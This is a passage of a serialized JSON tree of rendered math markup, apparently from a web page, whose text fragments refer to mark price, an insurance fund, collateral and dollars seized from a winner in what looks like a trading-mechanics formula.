],[166216],{"type":29,"value":9363},{"type":24,"tag":147,"props":166218,"children":166220},{"className":166219},[27347],[166221],{"type":29,"value":27350},{"type":24,"tag":147,"props":166223,"children":166225},{"className":166224},[9660],[166226],{"type":24,"tag":147,"props":166227,"children":166229},{"className":166228,"style":98713},[9665],[166230],{"type":24,"tag":147,"props":166231,"children":166232},{},[],{"type":24,"tag":147,"props":166234,"children":166236},{"style":166235},"top:-0.3652em;",[166237,166241],{"type":24,"tag":147,"props":166238,"children":166240},{"className":166239,"style":165736},[9674],[],{"type":24,"tag":147,"props":166242,"children":166244},{"className":166243},[9635],[166245],{"type":24,"tag":147,"props":166246,"children":166248},{"className":166247},[9635],[166249,166254],{"type":24,"tag":147,"props":166250,"children":166252},{"className":166251,"style":98864},[9635,27190],[166253],{"type":29,"value":98867},{"type":24,"tag":147,"props":166255,"children":166257},{"className":166256},[9650],[166258],{"type":24,"tag":147,"props":166259,"children":166261},{"className":166260},[9655,27244],[166262,166291],{"type":24,"tag":147,"props":166263,"children":166265},{"className":166264},[9660],[166266,166286],{"type":24,"tag":147,"props":166267,"children":166269},{"className":166268,"style":147391},[9665],[166270],{"type":24,"tag":147,"props":166271,"children":166272},{"style":116050},[166273,166277],{"type":24,"tag":147,"props":166274,"children":166276},{"className":166275,"style":9675},[9674],[],{"type":24,"tag":147,"props":166278,"children":166280},{"className":166279},[9680,9681,9682,9683],[166281],{"type":24,"tag":147,"props":166282,"children":166284},{"className":166283,"style":27191},[9635,27190,9683],[166285],{"type":29,"value":11612},{"type":24,"tag":147,"props":166287,"children":166289},{"className":166288},[27347],[166290],{"type":29,"value":27350},{"type":24,"tag":147,"props":166292,"children":166294},{"className":166293},[9660],[166295],{"type":24,"tag":147,"props":166296,"children":166298},{"className":166297,"style":98713},[9665],[166299],{"type":24,"tag":147,"props":166300,"children":166301},{},[],{"type":24,"tag":147,"props":166303,"children":166305},{"style":166304},"top:2.2624em;",[166306,166310],{"type":24,"tag":147,"props":166307,"children":166309},{"className":166308,"style":165736},[9674],[],{"type":24,"tag":147,"props":166311,"children":166313},{"className":166312},[9635],[166314],{"type":24,"tag":147,"props":166315,"children":166317},{"className":166316},[9635],[166318,166324],{"type":24,"tag":147,"props":166319,"children":166321},{"className":166320,"style":98630},[9635,27190],[166322],{"type":29,"value":166323},"D",{"type":24,"tag":147,"props":166325,"children":166327},{"className":166326},[9650],[166328],{"type":24,"tag":147,"props":166329,"children":166331},{"className":166330},[9655,27244],[166332,166361],{"type":24,"tag":147,"props":166333,"children":166335},{"className":166334},[9660],[166336,166356],{"type":24,"tag":147,"props":166337,"children":166339},{"className":166338,"style":147391},[9665],[166340],{"type":24,"tag":147,"props":166341,"children":166342},{"style":115620},[166343,166347],{"type":24,"tag":147,"props":166344,"children":166346},{"className":166345,"style":9675},[9674],[],{"type":24,"tag":147,"props":166348,"children":166350},{"className":166349},[9680,9681,9682,9683],[166351],{"type":24,"tag":147,"props":166352,"children":166354},{"className":166353,"style":27191},[9635,27190,9683],[166355],{"type":29,"value":11612},{"type":24,"tag":147,"props":166357,"children":166359},{"className":166358},[27347],[166360],{"type":29,"value":27350},{"type":24,"tag":147,"props":166362,"children":166364},{"className":166363},[9660],[166365],{"type":24,"tag":147,"props":166366,"children":166368},{"className":166367,"style":98713},[9665],[166369],{"type":24,"tag":147,"props":166370,"children":166371},{},[],{"type":24,"tag":147,"props":166373,"children":166375},{"style":166374},"top:4.8901em;",[166376,166380],{"type":24,"tag":147,"props":166377,"children":166379},{"className":166378,"style":165736},[9674],[],{"type":24,"tag":147,"props":166381,"children":166383},{"className":166382},[9635],[166384],{"type":24,"tag":147,"props":166385,"children":166387},{"className":166386},[9635],[166388,166394],{"type":24,"tag":147,"props":166389,"children":166391},{"className":166390,"style":100638},[9635,27190],[166392],{"type":29,"value":166393},"U",{"type":24,"tag":147,"props":166395,"children":166397},{"className":166396},[9650],[166398],{"type":24,"tag":147,"props":166399,"children":166401},{"className":166400},[9655,27244],[166402,166432],{"type":24,"tag":147,"props":166403,"children":166405},{"className":166404},[9660],[166406,166427],{"type":24,"tag":147,"props":166407,"children":166409},{"className":166408,"style":147391},[9665],[166410],{"type":24,"tag":147,"props":166411,"children":166413},{"style":166412},"top:-2.55em;margin-left:-0.109em;margin-right:0.05em;",[166414,166418],{"type":24,"tag":147,"props":166415,"children":166417},{"className":166416,"style":9675},[9674],[],{"type":24,"tag":147,"props":166419,"children":166421},{"className":166420},[9680,9681,9682,9683],[166422],{"type":24,"tag":147,"props":166423,"children":166425},{"className":166424,"style":27191},[9635,27190,9683],[166426],{"type":29,"value":11612},{"type":24,"tag":147,"props":166428,"children":166430},{"className":166429},[27347],[166431],{"type":29,"value":27350},{"type":24,"tag":147,"props":166433,"children":166435},{"className":166434},[9660],[166436],{"type":24,"tag":147,"props":166437,"children":166439},{"className":166438,"style":98713},[9665],[166440],{"type":24,"tag":147,"props":166441,"children":166442},{},[],{"type":24,"tag":147,"props":166444,"children":166446},{"style":166445},"top:7.3078em;",[166447,166451],{"type":24,"tag":147,"props":166448,"children":166450},{"className":166449,"style":165736},[9674],[],{"type":24,"tag":147,"props":166452,"children":166454},{"className":166453},[9635],[166455],{"type":24,"tag":147,"props":166456,"children":166458},{"className":166457},[9635],[166459,166464],{"type":24,"tag":147,"props":166460,"children":166462},{"className":166461,"style":128397},[9635,27190],[166463],{"type":29,"value":128400},{"type":24,"tag":147,"props":166465,"children":166467},{"className":166466},[9650],[166468],{"type":24,"tag":147,"props":166469,"children":166471},{"className":166470},[9655,27244],[166472,166503],{"type":24,"tag":147,"props":166473,"children":166475},{"className":166474},[9660],[166476,166498],{"type":24,"tag":147,"props":166477,"children":166480},{"className":166478,"style":166479},[9665],"height:0.2806em;",[166481],{"type":24,"tag":147,"props":166482,"children":166484},{"style":166483},"top:-2.55em;margin-left:-0.0077em;margin-right:0.05em;",[166485,166489],{"type":24,"tag":147,"props":166486,"children":166488},{"className":166487,"style":9675},[9674],[],{"type":24,"tag":147,"props":166490,"children":166492},{"className":166491},[9680,9681,9682,9683],[166493],{"type":24,"tag":147,"props":166494,"children":166496},{"className":166495},[9635,27190,9683],[166497],{"type":29,"value":27332},{"type":24,"tag":147,"props":166499,"children":166501},{"className":166500},[27347],[166502],{"type":29,"value":27350},{"type":24,"tag":147,"props":166504,"children":166506},{"className":166505},[9660],[166507],{"type":24,"tag":147,"props":166508,"children":166510},{"className":166509,"style":98713},[9665],[166511],{"type":24,"tag":147,"props":166512,"children":166513},{},[],{"type":24,"tag":147,"props":166515,"children":166517},{"className":166516},[27347],[166518],{"type":29,"value":27350},{"type":24,"tag":147,"props":166520,"children":166522},{"className":166521},[9660],[166523],{"type":24,"tag":147,"props":166524,"children":166527},{"className":166525,"style":166526},[9665],"height:11.3392em;",[166528],{"type":24,"tag":147,"props":166529,"children":166530},{},[],{"type":24,"tag":147,"props":166532,"children":166534},{"className":166533},[164650],[166535],{"type":24,"tag":147,"props":166536,"children":166538},{"className":166537},[9655,27244],[166539,168241],{"type":24,"tag":147,"props":166540,"children":166542},{"className":166541},[9660],[166543,168236],{"type":24,"tag":147,"props":166544,"children":166546},{"className":166545,"style":165727},[9665],[166547,166585,166623,166770,167005,167160,167265,167308,167529,167688,167878,168030],{"type":24,"tag":147,"props":166548,"children":166549},{"style":165731},[166550,166554],{"type":24,"tag":147,"props":166551,"children":166553},{"className":166552,"style":165736},[9674],[],{"type":24,"tag":147,"props":166555,"children":166557},{"className":166556},[9635],[166558,166562,166566,166571,166575],{"type":24,"tag":147,"props":166559,"children":166561},{"className":166560},[9635],[],{"type":24,"tag":147,"props":166563,"children":166565},{"className":166564,"style":9812},[9714],[],{"type":24,"tag":147,"props":166567,"children":166569},{"className":166568},[9817],[166570],{"type":29,"value":27209},{"type":24,"tag":147,"props":166572,"children":166574},{"className":166573,"style":9812},[9714],[],{"type":24,"tag":147,"props":166576,"children":166578},{"className":166577},[9635,29],[166579],{"type":24,"tag":147,"props":166580,"children":166582},{"className":166581},[9635],[166583],{"type":29,"value":166584},"mark price",{"type":24,"tag":147,"props":166586,"children":166587},{"style":165802},[166588,166592],{"type":24,"tag":147,"props":166589,"children":166591},{"className":166590,"style":165736},[9674],[],{"type":24,"tag":147,"props":166593,"children":166595},{"className":166594},[9635],[166596,166600,166604,166609,166613],{"type":24,"tag":147,"props":166597,"children":166599},{"className":166598},[9635],[],{"type":24,"tag":147,"props":166601,"children":166603},{"className":166602,"style":9812},[9714],[],{"type":24,"tag":147,"props":166605,"children":166607},{"className":166606},[9817],[166608],{"type":29,"value":27209},{"type":24,"tag":147,"props":166610,"children":166612},{"className":166611,"style":9812},[9714],[],{"type":24,"tag":147,"props":166614,"children":166616},{"className":166615},[9635,29],[166617],{"type":24,"tag":147,"props":166618,"children":166620},{"className":166619},[9635],[166621],{"type":29,"value":166622},"insurance fund",{"type":24,"tag":147,"props":166624,"children":166625},{"style":165819},[166626,166630],{"type":24,"tag":147,"props":166627,"children":166629},{"className":166628,"style":165736},[9674],[],{"type":24,"tag":147,"props":166631,"children":166633},{"className":166632},[9635],[166634,166638,166642,166647,166651,166661,166665,166670,166674],{"type":24,"tag":147,"props":166635,"children":166637},{"className":166636},[9635],[],{"type":24,"tag":147,"props":166639,"children":166641},{"className":166640,"style":9812},[9714],[],{"type":24,"tag":147,"props":166643,"children":166645},{"className":166644},[9817],[166646],{"type":29,"value":27209},{"type":24,"tag":147,"props":166648,"children":166650},{"className":166649,"style":9812},[9714],[],{"type":24,"tag":147,"props":166652,"children":166654},{"className":166653},[9635,29],[166655],{"type":24,"tag":147,"props":166656,"children":166658},{"className":166657},[9635],[166659],{"type":29,"value":166660},"collateral",{"type":24,"tag":147,"props":166662,"children":166664},{"className":166663,"style":9812},[9714],[],{"type":24,"tag":147,"props":166666,"children":166668},{"className":166667},[9817],[166669],{"type":29,"value":369},{"type":24,"tag":147,"props":166671,"children":166673},{"className":166672,"style":9812},[9714],[],{"type":24,"tag":147,"props":166675,"children":166677},{"className":166676},[9635],[166678,166682,166766],{"type":24,"tag":147,"props":166679,"children":166681},{"className":166680},[27319,119138],[],{"type":24,"tag":147,"props":166683,"children":166685},{"className":166684},[119143],[166686],{"type":24,"tag":147,"props":166687,"children":166689},{"className":166688},[9655,27244],[166690,166755],{"type":24,"tag":147,"props":166691,"children":166693},{"className":166692},[9660],[166694,166750],{"type":24,"tag":147,"props":166695,"children":166698},{"className":166696,"style":166697},[9665],"height:1.3714em;",[166699,166719,166730],{"type":24,"tag":147,"props":166700,"children":166701},{"style":163945},[166702,166706],{"type":24,"tag":147,"props":166703,"children":166705},{"className":166704,"style":117792},[9674],[],{"type":24,"tag":147,"props":166707,"children":166709},{"className":166708},[9635],[166710],{"type":24,"tag":147,"props":166711,"children":166713},{"className":166712},[9635,29],[166714],{"type":24,"tag":147,"props":166715,"children":166717},{"className":166716},[9635],[166718],{"type":29,"value":163982},{"type":24,"tag":147,"props":166720,"children":166721},{"style":119193},[166722,166726],{"type":24,"tag":147,"props":166723,"children":166725},{"className":166724,"style":117792},[9674],[],{"type":24,"tag":147,"props":166727,"children":166729},{"className":166728,"style":119203},[119202],[],{"type":24,"tag":147,"props":166731,"children":166732},{"style":163996},[166733,166737],{"type":24,"tag":147,"props":166734,"children":166736},{"className":166735,"style":117792},[9674],[],{"type":24,"tag":147,"props":166738,"children":166740},{"className":166739},[9635],[166741],{"type":24,"tag":147,"props":166742,"children":166744},{"className":166743},[9635,29],[166745],{"type":24,"tag":147,"props":166746,"children":166748},{"className":166747},[9635],[166749],{"type":29,"value":164021},{"type":24,"tag":147,"props":166751,"children":166753},{"className":166752},[27347],[166754],{"type":29,"value":27350},{"type":24,"tag":147,"props":166756,"children":166758},{"className":166757},[9660],[166759],{"type":24,"tag":147,"props":166760,"children":166762},{"className":166761,"style":164039},[9665],[166763],{"type":24,"tag":147,"props":166764,"children":166765},{},[],{"type":24,"tag":147,"props":166767,"children":166769},{"className":166768},[27341,119138],[],{"type":24,"tag":147,"props":166771,"children":166772},{"style":165888},[166773,166777],{"type":24,"tag":147,"props":166774,"children":166776},{"className":166775,"style":165736},[9674],[],{"type":24,"tag":147,"props":166778,"children":166780},{"className":166779},[9635],[166781,166785,166789,166794,166798,166855,166859,166864,166868,166873,166930,166934,166939,166943,167000],{"type":24,"tag":147,"props":166782,"children":166784},{"className":166783},[9635],[],{"type":24,"tag":147,"props":166786,"children":166788},{"className":166787,"style":9812},[9714],[],{"type":24,"tag":147,"props":166790,"children":166792},{"className":166791},[9817],[166793],{"type":29,"value":369},{"type":24,"tag":147,"props":166795,"children":166797},{"className":166796,"style":9812},[9714],[],{"type":24,"tag":147,"props":166799,"children":166801},{"className":166800},[9635],[166802,166807],{"type":24,"tag":147,"props":166803,"children":166805},{"className":166804},[9635,27190],[166806],{"type":29,"value":2203},{"type":24,"tag":147,"props":166808,"children":166810},{"className":166809},[9650],[166811],{"type":24,"tag":147,"props":166812,"children":166814},{"className":166813},[9655,27244],[166815,166844],{"type":24,"tag":147,"props":166816,"children":166818},{"className":166817},[9660],[166819,166839],{"type":24,"tag":147,"props":166820,"children":166822},{"className":166821,"style":99159},[9665],[166823],{"type":24,"tag":147,"props":166824,"children":166825},{"style":98686},[166826,166830],{"type":24,"tag":147,"props":166827,"children":166829},{"className":166828,"style":9675},[9674],[],{"type":24,"tag":147,"props":166831,"children":166833},{"className":166832},[9680,9681,9682,9683],[166834],{"type":24,"tag":147,"props":166835,"children":166837},{"className":166836},[9635,27190,9683],[166838],{"type":29,"value":9363},{"type":24,"tag":147,"props":166840,"children":166842},{"className":166841},[27347],[166843],{"type":29,"value":27350},{"type":24,"tag":147,"props":166845,"children":166847},{"className":166846},[9660],[166848],{"type":24,"tag":147,"props":166849,"children":166851},{"className":166850,"style":98713},[9665],[166852],{"type":24,"tag":147,"props":166853,"children":166854},{},[],{"type":24,"tag":147,"props":166856,"children":166858},{"className":166857,"style":9715},[9714],[],{"type":24,"tag":147,"props":166860,"children":166862},{"className":166861},[9720],[166863],{"type":29,"value":116883},{"type":24,"tag":147,"props":166865,"children":166867},{"className":166866,"style":9715},[9714],[],{"type":24,"tag":147,"props":166869,"children":166871},{"className":166870},[27319],[166872],{"type":29,"value":480},{"type":24,"tag":147,"props":166874,"children":166876},{"className":166875},[9635],[166877,166882],{"type":24,"tag":147,"props":166878,"children":166880},{"className":166879,"style":27191},[9635,27190],[166881],{"type":29,"value":27194},{"type":24,"tag":147,"props":166883,"children":166885},{"className":166884},[9650],[166886],{"type":24,"tag":147,"props":166887,"children":166889},{"className":166888},[9655,27244],[166890,166919],{"type":24,"tag":147,"props":166891,"children":166893},{"className":166892},[9660],[166894,166914],{"type":24,"tag":147,"props":166895,"children":166897},{"className":166896,"style":115053},[9665],[166898],{"type":24,"tag":147,"props":166899,"children":166900},{"style":165769},[166901,166905],{"type":24,"tag":147,"props":166902,"children":166904},{"className":166903,"style":9675},[9674],[],{"type":24,"tag":147,"props":166906,"children":166908},{"className":166907},[9680,9681,9682,9683],[166909],{"type":24,"tag":147,"props":166910,"children":166912},{"className":166911},[9635,27190,9683],[166913],{"type":29,"value":61991},{"type":24,"tag":147,"props":166915,"children":166917},{"className":166916},[27347],[166918],{"type":29,"value":27350},{"type":24,"tag":147,"props":166920,"children":166922},{"className":166921},[9660],[166923],{"type":24,"tag":147,"props":166924,"children":166926},{"className":166925,"style":98713},[9665],[166927],{"type":24,"tag":147,"props":166928,"children":166929},{},[],{"type":24,"tag":147,"props":166931,"children":166933},{"className":166932,"style":9715},[9714],[],{"type":24,"tag":147,"props":166935,"children":166937},{"className":166936},[9720],[166938],{"type":29,"value":9694},{"type":24,"tag":147,"props":166940,"children":166942},{"className":166941,"style":9715},[9714],[],{"type":24,"tag":147,"props":166944,"children":166946},{"className":166945},[9635],[166947,166952],{"type":24,"tag":147,"props":166948,"children":166950},{"className":166949},[9635,27190],[166951],{"type":29,"value":25},{"type":24,"tag":147,"props":166953,"children":166955},{"className":166954},[9650],[166956],{"type":24,"tag":147,"props":166957,"children":166959},{"className":166958},[9655,27244],[166960,166989],{"type":24,"tag":147,"props":166961,"children":166963},{"className":166962},[9660],[166964,166984],{"type":24,"tag":147,"props":166965,"children":166967},{"className":166966,"style":99159},[9665],[166968],{"type":24,"tag":147,"props":166969,"children":166970},{"style":98686},[166971,166975],{"type":24,"tag":147,"props":166972,"children":166974},{"className":166973,"style":9675},[9674],[],{"type":24,"tag":147,"props":166976,"children":166978},{"className":166977},[9680,9681,9682,9683],[166979],{"type":24,"tag":147,"props":166980,"children":166982},{"className":166981},[9635,27190,9683],[166983],{"type":29,"value":9363},{"type":24,"tag":147,"props":166985,"children":166987},{"className":166986},[27347],[166988],{"type":29,"value":27350},{"type":24,"tag":147,"props":166990,"children":166992},{"className":166991},[9660],[166993],{"type":24,"tag":147,"props":166994,"children":166996},{"className":166995,"style":98713},[9665],[166997],{"type":24,"tag":147,"props":166998,"children":166999},{},[],{"type":24,"tag":147,"props":167001,"children":167003},{"className":167002},[27341],[167004],{"type":29,"value":8758},{"type":24,"tag":147,"props":167006,"children":167007},{"style":165958},[167008,167012],{"type":24,"tag":147,"props":167009,"children":167011},{"className":167010,"style":165736},[9674],[],{"type":24,"tag":147,"props":167013,"children":167015},{"className":167014},[9635],[167016,167020,167024,167029,167033,167090,167094,167099,167103],{"type":24,"tag":147,"props":167017,"children":167019},{"className":167018},[9635],[],{"type":24,"tag":147,"props":167021,"children":167023},{"className":167022,"style":9812},[9714],[],{"type":24,"tag":147,"props":167025,"children":167027},{"className":167026},[9817],[167028],{"type":29,"value":369},{"type":24,"tag":147,"props":167030,"children":167032},{"className":167031,"style":9812},[9714],[],{"type":24,"tag":147,"props":167034,"children":167036},{"className":167035},[9635],[167037,167042],{"type":24,"tag":147,"props":167038,"children":167040},{"className":167039},[9635,27190],[167041],{"type":29,"value":140},{"type":24,"tag":147,"props":167043,"children":167045},{"className":167044},[9650],[167046],{"type":24,"tag":147,"props":167047,"children":167049},{"className":167048},[9655,27244],[167050,167079],{"type":24,"tag":147,"props":167051,"children":167053},{"className":167052},[9660],[167054,167074],{"type":24,"tag":147,"props":167055,"children":167057},{"className":167056,"style":99159},[9665],[167058],{"type":24,"tag":147,"props":167059,"children":167060},{"style":98686},[167061,167065],{"type":24,"tag":147,"props":167062,"children":167064},{"className":167063,"style":9675},[9674],[],{"type":24,"tag":147,"props":167066,"children":167068},{"className":167067},[9680,9681,9682,9683],[167069],{"type":24,"tag":147,"props":167070,"children":167072},{"className":167071},[9635,27190,9683],[167073],{"type":29,"value":9363},{"type":24,"tag":147,"props":167075,"children":167077},{"className":167076},[27347],[167078],{"type":29,"value":27350},{"type":24,"tag":147,"props":167080,"children":167082},{"className":167081},[9660],[167083],{"type":24,"tag":147,"props":167084,"children":167086},{"className":167085,"style":98713},[9665],[167087],{"type":24,"tag":147,"props":167088,"children":167089},{},[],{"type":24,"tag":147,"props":167091,"children":167093},{"className":167092,"style":9715},[9714],[],{"type":24,"tag":147,"props":167095,"children":167097},{"className":167096},[9720],[167098],{"type":29,"value":624},{"type":24,"tag":147,"props":167100,"children":167102},{"className":167101,"style":9715},[9714],[],{"type":24,"tag":147,"props":167104,"children":167106},{"className":167105},[9635],[167107,167112],{"type":24,"tag":147,"props":167108,"children":167110},{"className":167109,"style":99116},[9635,27190],[167111],{"type":29,"value":165907},{"type":24,"tag":147,"props":167113,"children":167115},{"className":167114},[9650],[167116],{"type":24,"tag":147,"props":167117,"children":167119},{"className":167118},[9655,27244],[167120,167149],{"type":24,"tag":147,"props":167121,"children":167123},{"className":167122},[9660],[167124,167144],{"type":24,"tag":147,"props":167125,"children":167127},{"className":167126,"style":99159},[9665],[167128],{"type":24,"tag":147,"props":167129,"children":167130},{"style":99163},[167131,167135],{"type":24,"tag":147,"props":167132,"children":167134},{"className":167133,"style":9675},[9674],[],{"type":24,"tag":147,"props":167136,"children":167138},{"className":167137},[9680,9681,9682,9683],[167139],{"type":24,"tag":147,"props":167140,"children":167142},{"className":167141},[9635,27190,9683],[167143],{"type":29,"value":9363},{"type":24,"tag":147,"props":167145,"children":167147},{"className":167146},[27347],[167148],{"type":29,"value":27350},{"type":24,"tag":147,"props":167150,"children":167152},{"className":167151},[9660],[167153],{"type":24,"tag":147,"props":167154,"children":167156},{"className":167155,"style":98713},[9665],[167157],{"type":24,"tag":147,"props":167158,"children":167159},{},[],{"type":24,"tag":147,"props":167161,"children":167162},{"style":166027},[167163,167167],{"type":24,"tag":147,"props":167164,"children":167166},{"className":167165,"style":165736},[9674],[],{"type":24,"tag":147,"props":167168,"children":167170},{"className":167169},[9635],[167171,167175,167179,167184,167188],{"type":24,"tag":147,"props":167172,"children":167174},{"className":167173},[9635],[],{"type":24,"tag":147,"props":167176,"children":167178},{"className":167177,"style":9812},[9714],[],{"type":24,"tag":147,"props":167180,"children":167182},{"className":167181},[9817],[167183],{"type":29,"value":369},{"type":24,"tag":147,"props":167185,"children":167187},{"className":167186,"style":9812},[9714],[],{"type":24,"tag":147,"props":167189,"children":167191},{"className":167190},[9635],[167192,167197],{"type":24,"tag":147,"props":167193,"children":167195},{"className":167194,"style":99116},[9635,27190],[167196],{"type":29,"value":165907},{"type":24,"tag":147,"props":167198,"children":167200},{"className":167199},[9650],[167201],{"type":24,"tag":147,"props":167202,"children":167204},{"className":167203},[9655,27244],[167205,167253],{"type":24,"tag":147,"props":167206,"children":167208},{"className":167207},[9660],[167209,167248],{"type":24,"tag":147,"props":167210,"children":167213},{"className":167211,"style":167212},[9665],"height:0.8213em;",[167214,167231],{"type":24,"tag":147,"props":167215,"children":167217},{"style":167216},"top:-2.433em;margin-left:-0.0359em;margin-right:0.05em;",[167218,167222],{"type":24,"tag":147,"props":167219,"children":167221},{"className":167220,"style":9675},[9674],[],{"type":24,"tag":147,"props":167223,"children":167225},{"className":167224},[9680,9681,9682,9683],[167226],{"type":24,"tag":147,"props":167227,"children":167229},{"className":167228},[9635,27190,9683],[167230],{"type":29,"value":9363},{"type":24,"tag":147,"props":167232,"children":167234},{"style":167233},"top:-3.113em;margin-right:0.05em;",[167235,167239],{"type":24,"tag":147,"props":167236,"children":167238},{"className":167237,"style":9675},[9674],[],{"type":24,"tag":147,"props":167240,"children":167242},{"className":167241},[9680,9681,9682,9683],[167243],{"type":24,"tag":147,"props":167244,"children":167246},{"className":167245},[9720,9683],[167247],{"type":29,"value":624},{"type":24,"tag":147,"props":167249,"children":167251},{"className":167250},[27347],[167252],{"type":29,"value":27350},{"type":24,"tag":147,"props":167254,"children":167256},{"className":167255},[9660],[167257],{"type":24,"tag":147,"props":167258,"children":167261},{"className":167259,"style":167260},[9665],"height:0.267em;",[167262],{"type":24,"tag":147,"props":167263,"children":167264},{},[],{"type":24,"tag":147,"props":167266,"children":167267},{"style":166097},[167268,167272],{"type":24,"tag":147,"props":167269,"children":167271},{"className":167270,"style":165736},[9674],[],{"type":24,"tag":147,"props":167273,"children":167275},{"className":167274},[9635],[167276,167280,167284,167289,167293,167303],{"type":24,"tag":147,"props":167277,"children":167279},{"className":167278},[9635],[],{"type":24,"tag":147,"props":167281,"children":167283},{"className":167282,"style":9812},[9714],[],{"type":24,"tag":147,"props":167285,"children":167287},{"className":167286},[9817],[167288],{"type":29,"value":27209},{"type":24,"tag":147,"props":167290,"children":167292},{"className":167291,"style":9812},[9714],[],{"type":24,"tag":147,"props":167294,"children":167296},{"className":167295},[9635,29],[167297],{"type":24,"tag":147,"props":167298,"children":167300},{"className":167299},[9635],[167301],{"type":29,"value":167302},"dollars seized from winner ",{"type":24,"tag":147,"props":167304,"children":167306},{"className":167305},[9635,27190],[167307],{"type":29,"value":9363},{"type":24,"tag":147,"props":167309,"children":167310},{"style":166166},[167311,167315],{"type":24,"tag":147,"props":167312,"children":167314},{"className":167313,"style":165736},[9674],[],{"type":24,"tag":147,"props":167316,"children":167318},{"className":167317},[9635],[167319,167323,167327,167332,167336],{"type":24,"tag":147,"props":167320,"children":167322},{"className":167321},[9635],[],{"type":24,"tag":147,"props":167324,"children":167326},{"className":167325,"style":9812},[9714],[],{"type":24,"tag":147,"props":167328,"children":167330},{"className":167329},[9817],[167331],{"type":29,"value":369},{"type":24,"tag":147,"props":167333,"children":167335},{"className":167334,"style":9812},[9714],[],{"type":24,"tag":147,"props":167337,"children":167339},{"className":167338},[9635],[167340,167344,167525],{"type":24,"tag":147,"props":167341,"children":167343},{"className":167342},[27319,119138],[],{"type":24,"tag":147,"props":167345,"children":167347},{"className":167346},[119143],[167348],{"type":24,"tag":147,"props":167349,"children":167351},{"className":167350},[9655,27244],[167352,167513],{"type":24,"tag":147,"props":167353,"children":167355},{"className":167354},[9660],[167356,167508],{"type":24,"tag":147,"props":167357,"children":167360},{"className":167358,"style":167359},[9665],"height:1.1076em;",[167361,167429,167440],{"type":24,"tag":147,"props":167362,"children":167363},{"style":163945},[167364,167368],{"type":24,"tag":147,"props":167365,"children":167367},{"className":167366,"style":117792},[9674],[],{"type":24,"tag":147,"props":167369,"children":167371},{"className":167370},[9635],[167372],{"type":24,"tag":147,"props":167373,"children":167375},{"className":167374},[9635],[167376,167381],{"type":24,"tag":147,"props":167377,"children":167379},{"className":167378,"style":127900},[9635,27190],[167380],{"type":29,"value":55169},{"type":24,"tag":147,"props":167382,"children":167384},{"className":167383},[9650],[167385],{"type":24,"tag":147,"props":167386,"children":167388},{"className":167387},[9655,27244],[167389,167418],{"type":24,"tag":147,"props":167390,"children":167392},{"className":167391},[9660],[167393,167413],{"type":24,"tag":147,"props":167394,"children":167396},{"className":167395,"style":99159},[9665],[167397],{"type":24,"tag":147,"props":167398,"children":167399},{"style":166064},[167400,167404],{"type":24,"tag":147,"props":167401,"children":167403},{"className":167402,"style":9675},[9674],[],{"type":24,"tag":147,"props":167405,"children":167407},{"className":167406},[9680,9681,9682,9683],[167408],{"type":24,"tag":147,"props":167409,"children":167411},{"className":167410},[9635,27190,9683],[167412],{"type":29,"value":9363},{"type":24,"tag":147,"props":167414,"children":167416},{"className":167415},[27347],[167417],{"type":29,"value":27350},{"type":24,"tag":147,"props":167419,"children":167421},{"className":167420},[9660],[167422],{"type":24,"tag":147,"props":167423,"children":167425},{"className":167424,"style":98713},[9665],[167426],{"type":24,"tag":147,"props":167427,"children":167428},{},[],{"type":24,"tag":147,"props":167430,"children":167431},{"style":119193},[167432,167436],{"type":24,"tag":147,"props":167433,"children":167435},{"className":167434,"style":117792},[9674],[],{"type":24,"tag":147,"props":167437,"children":167439},{"className":167438,"style":119203},[119202],[],{"type":24,"tag":147,"props":167441,"children":167442},{"style":163996},[167443,167447],{"type":24,"tag":147,"props":167444,"children":167446},{"className":167445,"style":117792},[9674],[],{"type":24,"tag":147,"props":167448,"children":167450},{"className":167449},[9635],[167451],{"type":24,"tag":147,"props":167452,"children":167454},{"className":167453},[9635],[167455,167460],{"type":24,"tag":147,"props":167456,"children":167458},{"className":167457},[9635,27190],[167459],{"type":29,"value":24880},{"type":24,"tag":147,"props":167461,"children":167463},{"className":167462},[9650],[167464],{"type":24,"tag":147,"props":167465,"children":167467},{"className":167466},[9655,27244],[167468,167497],{"type":24,"tag":147,"props":167469,"children":167471},{"className":167470},[9660],[167472,167492],{"type":24,"tag":147,"props":167473,"children":167475},{"className":167474,"style":99159},[9665],[167476],{"type":24,"tag":147,"props":167477,"children":167478},{"style":98686},[167479,167483],{"type":24,"tag":147,"props":167480,"children":167482},{"className":167481,"style":9675},[9674],[],{"type":24,"tag":147,"props":167484,"children":167486},{"className":167485},[9680,9681,9682,9683],[167487],{"type":24,"tag":147,"props":167488,"children":167490},{"className":167489},[9635,27190,9683],[167491],{"type":29,"value":9363},{"type":24,"tag":147,"props":167493,"children":167495},{"className":167494},[27347],[167496],{"type":29,"value":27350},{"type":24,"tag":147,"props":167498,"children":167500},{"className":167499},[9660],[167501],{"type":24,"tag":147,"props":167502,"children":167504},{"className":167503,"style":98713},[9665],[167505],{"type":24,"tag":147,"props":167506,"children":167507},{},[],{"type":24,"tag":147,"props":167509,"children":167511},{"className":167510},[27347],[167512],{"type":29,"value":27350},{"type":24,"tag":147,"props":167514,"children":167516},{"className":167515},[9660],[167517],{"type":24,"tag":147,"props":167518,"children":167521},{"className":167519,"style":167520},[9665],"height:0.836em;",[167522],{"type":24,"tag":147,"props":167523,"children":167524},{},[],{"type":24,"tag":147,"props":167526,"children":167528},{"className":167527},[27341,119138],[],{"type":24,"tag":147,"props":167530,"children":167531},{"style":166235},[167532,167536],{"type":24,"tag":147,"props":167533,"children":167535},{"className":167534,"style":165736},[9674],[],{"type":24,"tag":147,"props":167537,"children":167539},{"className":167538},[9635],[167540,167544,167548,167553,167557,167627,167631],{"type":24,"tag":147,"props":167541,"children":167543},{"className":167542},[9635],[],{"type":24,"tag":147,"props":167545,"children":167547},{"className":167546,"style":9812},[9714],[],{"type":24,"tag":147,"props":167549,"children":167551},{"className":167550},[9817],[167552],{"type":29,"value":369},{"type":24,"tag":147,"props":167554,"children":167556},{"className":167555,"style":9812},[9714],[],{"type":24,"tag":147,"props":167558,"children":167561},{"className":167559},[27226,167560],"op-limits",[167562],{"type":24,"tag":147,"props":167563,"children":167565},{"className":167564},[9655,27244],[167566,167615],{"type":24,"tag":147,"props":167567,"children":167569},{"className":167568},[9660],[167570,167610],{"type":24,"tag":147,"props":167571,"children":167574},{"className":167572,"style":167573},[9665],"height:1.05em;",[167575,167593],{"type":24,"tag":147,"props":167576,"children":167578},{"style":167577},"top:-1.8723em;margin-left:0em;",[167579,167584],{"type":24,"tag":147,"props":167580,"children":167583},{"className":167581,"style":167582},[9674],"height:3.05em;",[],{"type":24,"tag":147,"props":167585,"children":167587},{"className":167586},[9680,9681,9682,9683],[167588],{"